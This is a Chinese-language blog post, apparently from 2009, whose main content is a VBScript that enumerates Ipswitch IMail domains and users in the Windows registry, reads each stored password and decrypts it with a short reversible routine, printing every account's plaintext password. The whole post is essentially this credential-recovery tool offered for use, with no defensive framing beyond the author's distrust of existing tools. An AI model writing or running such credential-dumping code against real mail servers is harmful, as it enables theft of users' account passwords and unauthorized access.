注册
登录
| 关键词： strKeyPath decrypt MACHINE subkey name LOCAL subkey2 HKEY nbsp oReg |
tyw7’s blog 网上有现成的工具用着不放心 看了下解密挺简单 就写了个vbs脚本方便使用 自动从注册表中读取并解密 ‘imail password decrypt‘code by tyw7 2009-4-15‘http://www.tyw7.cn on error resume nextconst HKEY_LOCAL_MACHINE = &H80000002strComputer = “.”Set oReg=GetObject(”winmgmts:{impersonationLevel=impersonate}!\\” &_strComputer & “\root\default:StdRegProv”)strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains”oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeysFor Each subkey In arrSubKeyswscript.echo “Domain: “&subkeystrKeyPath2 = strKeyPath&”\”&subkey&”\Users”oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2For Each subkey2 In arrSubKeys2strKeyPath3=strKeyPath2&”\”&subkey2strValueName = “Password”oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValueif len(subkey2) and len(strValue) thenwscript.echo subkey2 &” : ” & decrypt(subkey2,strValue)end ifNextNext function decrypt(name,pass)while len(name)<len(pass)/2name=name&namewendfor i=0 to len(pass)/2-1p=mid(pass,2*i+1,2)p=”&H”&pn=mid(name,i+1,1)decrypt=decrypt&chr(clng(p)-asc(n))nextend function |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
